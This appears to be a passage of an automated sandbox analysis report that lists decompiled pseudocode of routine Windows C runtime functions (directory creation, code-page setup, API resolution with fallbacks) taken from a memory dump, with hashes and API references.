WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00862485
WriteFile.KERNELBASE(00000008,?,0086B1B3,00010000,00000000,02E0C461,?,?,?,00000000,00000000,0086A066,?,?,?,?), ref: 008624B1

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: de20f6f3e1b4528e4335ef5f0085715fc6e85eb0c23959d25782444ce663a4e1
Instruction ID: 81bf101763978e10834adbdcb4bffed21227bb92559ef234dd27c9e9d1581f0b
Opcode Fuzzy Hash: de20f6f3e1b4528e4335ef5f0085715fc6e85eb0c23959d25782444ce663a4e1
Instruction Fuzzy Hash: C4311371204716EFDB14CF14D818BAAB7A5FB80714F05495DF986D7290CB709C48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00862710 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00862710(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t11;
				void* _t14;
				void* _t17;
				int _t24;
				long _t25;
				WCHAR* _t26;
				void* _t27;

				_t27 = __eflags;
				E00873AC0(0x1000);
				_t26 = _a4;
				_t11 =  *(E0086386B(_t27, _t26)) & 0x0000ffff;
				if(_t11 != 0x2e && _t11 != 0x20) {
					_t24 = CreateDirectoryW(_t26, 0); // executed
					if(_t24 != 0) {
						L6:
						if(_a8 != 0) {
							E0086294B(_t26, _a12);
						}
						return 0;
					}
				}
				if(E00862680(_t26) == 0 && E00863553(_t26,  &_v4100, 0x800) != 0 && CreateDirectoryW( &_v4100, 0) != 0) {
					goto L6;
				}
				_t25 = GetLastError();
				_t14 = 2;
				__eflags = _t25 - _t14;
				if(_t25 != _t14) {
					__eflags = _t25 - 3;
					_t17 = (0 | _t25 == 0x00000003) + 1;
					__eflags = _t17;
					return _t17;
				}
				return _t14;
			}

0x00862710
0x00862718
0x0086271e
0x00862727
0x0086272d
0x00862737
0x0086273f
0x00862774
0x00862778
0x0086277e
0x0086277e
0x00000000
0x00862783
0x0086273f
0x00862749
0x00000000
0x00000000
0x0086278d
0x00862791
0x00862792
0x00862794
0x00862798
0x0086279e
0x0086279e
0x00000000
0x0086279e
0x008627a1

APIs

Part of subcall function 0086386B: _wcslen.LIBCMT ref: 00863871

CreateDirectoryW.KERNELBASE(?,00000000,?), ref: 00862737
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?), ref: 0086276A
GetLastError.KERNEL32(?,?), ref: 00862787

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 80d08cb0d2491270f027a9e3abf603e5adefdf70e7d01bab3164cbb55f33777d
Instruction ID: aa9dd3c1793423fe8e73e3e74a3e429e8152c39acb9f804418d928a91128e212
Opcode Fuzzy Hash: 80d08cb0d2491270f027a9e3abf603e5adefdf70e7d01bab3164cbb55f33777d
Instruction Fuzzy Hash: D401F735201E256AEF226B798C49FFD335CFF05780F0904A4F942DE091DB68CA808763

Uniqueness

Uniqueness Score: -1.00%

Function 00880213 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00880213(void* __edx, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed char _v1828;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				void* _t67;
				signed char _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t87;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				char* _t94;
				intOrPtr _t96;
				signed int _t97;

				_t63 =  *0x893688; // 0xe2d35318
				_v8 = _t63 ^ _t97;
				_t96 = _a4;
				_t4 = _t96 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t96 + 0x119; // 0x880866
					_t93 = _t47;
					_t87 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t93;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t94 = _t93 + _t87;
						_t69 = _t68 + _t94;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t94 = 0;
							} else {
								_t72 = _t96 + _t87;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t87 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t96 + _t87 + 0x19) =  *(_t96 + _t87 + 0x19) | 0x00000010;
							_t54 = _t87 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t94 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t96 + 0x119; // 0x880866
						_t93 = _t61;
						_t87 = _t87 + 1;
						__eflags = _t87 - 0x100;
					} while (_t87 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t97 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t90 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t103 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t93 =  *(_t90 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t93;
							if(_t76 > _t93) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t97 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t90 = _t90 + 2;
						__eflags = _t90;
						_t75 =  *_t90;
					}
					_t13 = _t96 + 4; // 0x5efc4d8b
					E00881308(_t93, _t103, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t96 + 4; // 0x5efc4d8b
					_t19 = _t96 + 0x21c; // 0xdb855708
					E0087F501(0, _t103, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t96 + 4; // 0x5efc4d8b
					_t23 = _t96 + 0x21c; // 0xdb855708
					E0087F501(0, _t103, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t91 = 0;
					do {
						_t68 =  *(_t97 + _t91 * 2 - 0x704) & 0x0000ffff;
						if((_t68 & 0x00000001) == 0) {
							__eflags = _t68 & 0x00000002;
							if((_t68 & 0x00000002) == 0) {
								 *(_t96 + _t91 + 0x119) = 0;
							} else {
								_t37 = _t96 + _t91 + 0x19;
								 *_t37 =  *(_t96 + _t91 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t68 =  *((intOrPtr*)(_t97 + _t91 - 0x304));
								goto L15;
							}
						} else {
							 *(_t96 + _t91 + 0x19) =  *(_t96 + _t91 + 0x19) | 0x00000010;
							_t68 =  *((intOrPtr*)(_t97 + _t91 - 0x204));
							L15:
							 *(_t96 + _t91 + 0x119) = _t68;
						}
						_t91 = _t91 + 1;
					} while (_t91 < 0x100);
				}
				return E0087494C(_t68, 0, _v8 ^ _t97, _t93, 0x100, _t96);
			}

0x0088021e
0x00880225
0x0088022a
0x00880235
0x00880247
0x0088033f
0x0088033f
0x00880345
0x00880347
0x00880348
0x00880348
0x0088034a
0x00880350
0x00880350
0x00880352
0x00880354
0x0088035d
0x00880360
0x0088036c
0x00880373
0x00880383
0x00880375
0x00880375
0x00880378
0x00880378
0x00880378
0x0088037c
0x0088037c
0x00000000
0x0088037c
0x00880362
0x00880362
0x00880367
0x00880367
0x0088037f
0x0088037f
0x0088037f
0x00880385
0x0088038b
0x0088038b
0x00880391
0x00880392
0x00880392
0x0088024d
0x0088024d
0x0088024f
0x0088024f
0x00880256
0x00880257
0x0088025b
0x00880261
0x00880267
0x0088028f
0x0088028f
0x00880291
0x00000000
0x00000000
0x00880270
0x00880274
0x00880286
0x00880286
0x00880288
0x00000000
0x00000000
0x00880279
0x0088027b
0x0088027d
0x00880285
0x00880285
0x00000000
0x00880285
0x00000000
0x0088027b
0x0088028a
0x0088028a
0x0088028d
0x0088028d
0x00880294
0x008802a9
0x008802af
0x008802c3
0x008802ca
0x008802d9
0x008802eb
0x008802f2
0x008802fa
0x008802fc
0x008802fc
0x00880306
0x00880316
0x00880318
0x0088032f
0x0088031a
0x0088031a
0x0088031a
0x0088031a
0x0088031f
0x00000000
0x0088031f
0x00880308
0x00880308
0x0088030d
0x00880326
0x00880326
0x00880326
0x00880336
0x00880337
0x0088033b
0x008803a6

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00880238

Strings

, xrefs: 0088027D

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: e8a6118e448834e221a54dbb7efb8a6d0f9a36c0b51784c55de2f91f5c36543a
Instruction ID: f5ec8a08ead842bda7e550f675ca17cd6e63b0ee06ddafbbc9a8ef235d846b79
Opcode Fuzzy Hash: e8a6118e448834e221a54dbb7efb8a6d0f9a36c0b51784c55de2f91f5c36543a
Instruction Fuzzy Hash: 0D41F97050434C9FDF329E68CC84AFABBA9FB55308F1404EDE59AC6242D275AA49DF60

Uniqueness

Uniqueness Score: -1.00%

Function 0087F8EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E0087F8EC(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				void* __esi;
				signed int _t18;
				intOrPtr* _t20;
				int _t22;
				void* _t30;
				intOrPtr* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edi;
				_t26 = __ecx;
				_t25 = __ebx;
				_push(__ecx);
				_t18 =  *0x893688; // 0xe2d35318
				_v8 = _t18 ^ _t35;
				_t20 = E0087F618(0x16, "LCMapStringEx", 0x88c684, "LCMapStringEx"); // executed
				_t33 = _t20;
				if(_t33 == 0) {
					_t22 = LCMapStringW(E0087F974(__ebx, _t26, _t30, __edi, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x88822c(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					_t22 =  *_t33();
				}
				_pop(_t34);
				return E0087494C(_t22, _t25, _v8 ^ _t35, _t30, _t31, _t34);
			}

0x0087f8ec
0x0087f8ec
0x0087f8ec
0x0087f8f1
0x0087f8f2
0x0087f8f9
0x0087f90e
0x0087f913
0x0087f91a
0x0087f95d
0x0087f91c
0x0087f939
0x0087f93f
0x0087f93f
0x0087f968
0x0087f971

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,6AE85006,00000001,?,000000FF), ref: 0087F95D

Strings

LCMapStringEx, xrefs: 0087F8FD, 0087F907

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 03500fe1afb6347cc9962ead20df7883cf66f1086a9f4ac58a9d8c6f20f89f46
Instruction ID: cc48fc536b954e8843e226b10b3981cd1e9f703f8b7f68dfa5669f48038e7990
Opcode Fuzzy Hash: 03500fe1afb6347cc9962ead20df7883cf66f1086a9f4ac58a9d8c6f20f89f46
Instruction Fuzzy Hash: FE012D32500208BBCF12AFA5DC01EEE3F62FF18760F054124FE1866261DB36C931AB91

Uniqueness

Uniqueness Score: -1.00%

Function 0087F88A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0087F88A(void* __ebx, void* __ecx, void* __edi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				void* __esi;
				signed int _t8;
				intOrPtr* _t10;
				int _t11;
				void* _t14;
				void* _t19;
				void* _t20;
				intOrPtr* _t22;
				void* _t23;
				signed int _t24;

				_t20 = __edi;
				_t14 = __ebx;
				_push(__ecx);
				_t8 =  *0x893688; // 0xe2d35318
				_v8 = _t8 ^ _t24;
				_t10 = E0087F618(0x14, "InitializeCriticalSectionEx", 0x88c660, "InitializeCriticalSectionEx"); // executed
				_t22 = _t10;
				if(_t22 == 0) {
					_t11 = InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0x88822c(_a4, _a8, _a12);
					_t11 =  *_t22();
				}
				_pop(_t23);
				return E0087494C(_t11, _t14, _v8 ^ _t24, _t19, _t20, _t23);
			}

0x0087f88a
0x0087f88a
0x0087f88f
0x0087f890
0x0087f897
0x0087f8ac
0x0087f8b1
0x0087f8b8
0x0087f8d5
0x0087f8ba
0x0087f8c5
0x0087f8cb
0x0087f8cb
0x0087f8e0
0x0087f8e9

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0087EE8F), ref: 0087F8D5

Strings

InitializeCriticalSectionEx, xrefs: 0087F89B, 0087F8A5

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: d18cb8e609eee553e53812d59956c7392f7b73e0da5e72571959e8d592e9a131
Instruction ID: 5942c908ff33d38c98eeb4cd5d030f94b8821d35527b3392c3cebd8cd5e4c325
Opcode Fuzzy Hash: d18cb8e609eee553e53812d59956c7392f7b73e0da5e72571959e8d592e9a131
Instruction Fuzzy Hash: 87F0B43164120CBBCB01AF69DC05DAE7F61FF18B20B408079FD19A6264EB319D10D795

Uniqueness

Uniqueness Score: -1.00%

Function 0087F72F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E0087F72F(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* __esi;
				signed int _t4;
				intOrPtr* _t6;
				long _t7;
				void* _t10;
				void* _t15;
				void* _t16;
				intOrPtr* _t18;
				void* _t19;
				signed int _t20;

				_t16 = __edi;
				_t10 = __ebx;
				_push(__ecx);
				_t4 =  *0x893688; // 0xe2d35318
				_v8 = _t4 ^ _t20;
				_t6 = E0087F618(3, "FlsAlloc", 0x88c5f8, "FlsAlloc"); // executed
				_t18 = _t6;
				if(_t18 == 0) {
					_t7 = TlsAlloc();
				} else {
					 *0x88822c(_a4);
					_t7 =  *_t18();
				}
				_pop(_t19);
				return E0087494C(_t7, _t10, _v8 ^ _t20, _t15, _t16, _t19);
			}

0x0087f72f
0x0087f72f
0x0087f734
0x0087f735
0x0087f73c
0x0087f751
0x0087f756
0x0087f75d
0x0087f76e
0x0087f75f
0x0087f764
0x0087f76a
0x0087f76a
0x0087f779
0x0087f782

APIs

TlsAlloc.KERNEL32 ref: 0087F76E

Strings

FlsAlloc, xrefs: 0087F740, 0087F74A

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 60c2182e04bd6a7b6cce87f42ed66d727d5210cbb81324758e58d7955884d612
Instruction ID: 85f5776a9e57e1ccde4eb8926f30266e30be7c5bf5b3215707fb0917a85fa1f9
Opcode Fuzzy Hash: 60c2182e04bd6a7b6cce87f42ed66d727d5210cbb81324758e58d7955884d612
Instruction Fuzzy Hash: 4BE05530682208BBC304BF69AC0296EBB94FB18B20B404128F908F3344DE309E0083EA

Uniqueness

Uniqueness Score: -1.00%

Function 00880570 Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00880570(void* __edx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __esi;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed int _t60;
				signed char _t62;
				signed int _t63;
				signed char* _t71;
				signed char* _t72;
				int _t75;
				signed int _t78;
				signed char* _t79;
				short* _t80;
				int _t84;
				signed char _t85;
				signed int _t86;
				signed int _t89;
				signed int _t90;
				int _t92;
				int _t93;
				intOrPtr _t95;
				signed int _t96;

				_t91 = __edi;
				_t48 =  *0x893688; // 0xe2d35318
				_v8 = _t48 ^ _t96;
				_t95 = _a8;
				_t75 = E0088013B(__eflags, _a4);
				if(_t75 != 0) {
					_push(__edi);
					_t92 = 0;
					__eflags = 0;
					_t78 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x893848)) - _t75;
						if( *((intOrPtr*)(_t51 + 0x893848)) == _t75) {
							break;
						}
						_t78 = _t78 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t78;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t75 - 0xfde8;
							if(_t75 == 0xfde8) {
								L23:
								_t60 = _t51 | 0xffffffff;
							} else {
								__eflags = _t75 - 0xfde9;
								if(_t75 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t75 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t75,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x8c8d04 - _t92; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E008801AE(_t95);
												goto L37;
											}
										} else {
											E00874BD0(_t92, _t95 + 0x18, _t92, 0x101);
											 *(_t95 + 4) = _t75;
											 *(_t95 + 0x21c) = _t92;
											_t75 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t95 + 8) = _t92;
											} else {
												__eflags = _v22;
												_t71 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t85 = _t71[1];
														__eflags = _t85;
														if(_t85 == 0) {
															goto L16;
														}
														_t89 = _t85 & 0x000000ff;
														_t86 =  *_t71 & 0x000000ff;
														while(1) {
															__eflags = _t86 - _t89;
															if(_t86 > _t89) {
																break;
															}
															 *(_t95 + _t86 + 0x19) =  *(_t95 + _t86 + 0x19) | 0x00000004;
															_t86 = _t86 + 1;
															__eflags = _t86;
														}
														_t71 =  &(_t71[2]);
														__eflags =  *_t71;
														if( *_t71 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t72 = _t95 + 0x1a;
												_t84 = 0xfe;
												do {
													 *_t72 =  *_t72 | 0x00000008;
													_t72 =  &(_t72[1]);
													_t84 = _t84 - 1;
													__eflags = _t84;
												} while (_t84 != 0);
												 *(_t95 + 0x21c) = E008800FD( *(_t95 + 4));
												 *(_t95 + 8) = _t75;
											}
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E00880213(_t89, _t95); // executed
											L37:
											_t60 = 0;
											__eflags = 0;
										}
									}
								}
							}
						}
						_pop(_t91);
						goto L39;
					}
					E00874BD0(_t92, _t95 + 0x18, _t92, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x893858;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t79 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t79[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t90 =  *_t79 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t90 - _t63;
									if(_t90 > _t63) {
										break;
									}
									__eflags = _t90 - 0x100;
									if(_t90 < 0x100) {
										_t31 = _t92 + 0x893840; // 0x8040201
										 *(_t95 + _t90 + 0x19) =  *(_t95 + _t90 + 0x19) |  *_t31;
										_t90 = _t90 + 1;
										__eflags = _t90;
										_t63 = _t79[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t79 =  &(_t79[2]);
								__eflags =  *_t79;
								if( *_t79 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t92 = _t92 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t92 - 4;
					} while (_t92 < 4);
					 *(_t95 + 4) = _t75;
					 *(_t95 + 8) = 1;
					 *(_t95 + 0x21c) = E008800FD(_t75);
					_t80 = _t95 + 0xc;
					_t89 = _v36 + 0x89384c;
					_t93 = 6;
					do {
						_t58 =  *_t89;
						_t89 = _t89 + 2;
						 *_t80 = _t58;
						_t80 = _t80 + 2;
						_t93 = _t93 - 1;
						__eflags = _t93;
					} while (_t93 != 0);
					goto L36;
				} else {
					E008801AE(_t95);
					_t60 = 0;
				}
				L39:
				return E0087494C(_t60, _t75, _v8 ^ _t96, _t89, _t91, _t95);
			}

0x00880570
0x00880578
0x0088057f
0x00880587
0x0088058f
0x00880594
0x008805a4
0x008805a5
0x008805a5
0x008805a7
0x008805a9
0x008805ab
0x008805ae
0x008805ae
0x008805b4
0x00000000
0x00000000
0x008805ba
0x008805bb
0x008805be
0x008805c1
0x008805c6
0x00000000
0x008805c8
0x008805c8
0x008805ce
0x0088069c
0x0088069c
0x008805d4
0x008805d4
0x008805da
0x00000000
0x008805e0
0x008805e4
0x008805ea
0x008805ec
0x00000000
0x008805f2
0x008805f7
0x008805fd
0x008805ff
0x00880689
0x0088068f
0x00000000
0x00880691
0x00880692
0x00000000
0x00880692
0x00880605
0x0088060f
0x00880614
0x0088061c
0x00880622
0x00880623
0x00880626
0x00880679
0x00880628
0x00880628
0x0088062c
0x0088062f
0x00880631
0x00880631
0x00880634
0x00880636
0x00000000
0x00000000
0x00880638
0x0088063b
0x00880646
0x00880646
0x00880648
0x00000000
0x00000000
0x00880640
0x00880645
0x00880645
0x00880645
0x0088064a
0x0088064d
0x00880650
0x00000000
0x00000000
0x00000000
0x00880650
0x00880631
0x00880652
0x00880652
0x00880655
0x0088065a
0x0088065a
0x0088065d
0x0088065e
0x0088065e
0x0088065e
0x0088066e
0x00880674
0x00880674
0x00880681
0x00880682
0x00880683
0x00880747
0x00880748
0x0088074d
0x0088074e
0x0088074e
0x0088074e
0x008805ff
0x008805ec
0x008805da
0x008805ce
0x00880750
0x00000000
0x00880750
0x008806ae
0x008806b6
0x008806b6
0x008806ba
0x008806bd
0x008806c3
0x008806c6
0x008806c6
0x008806c9
0x008806cb
0x008806cd
0x008806cd
0x008806d0
0x008806d2
0x00000000
0x00000000
0x008806d4
0x008806d7
0x008806f3
0x008806f3
0x008806f5
0x00000000
0x00000000
0x008806dc
0x008806e2
0x008806e4
0x008806ea
0x008806ee
0x008806ee
0x008806ef
0x00000000
0x008806ef
0x00000000
0x008806e2
0x008806f7
0x008806fa
0x008806fd
0x00000000
0x00000000
0x00000000
0x008806fd
0x008806ff
0x008806ff
0x00880702
0x00880703
0x00880706
0x00880709
0x00880709
0x0088070f
0x00880712
0x00880721
0x0088072a
0x0088072f
0x00880735
0x00880736
0x00880736
0x00880739
0x0088073c
0x0088073f
0x00880742
0x00880742
0x00880742
0x00000000
0x00880596
0x00880597
0x0088059d
0x0088059d
0x00880751
0x00880760

APIs

Part of subcall function 0088013B: GetOEMCP.KERNEL32(00000000,?,?,008803C4,?), ref: 00880166

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00880409,?,00000000), ref: 008805E4
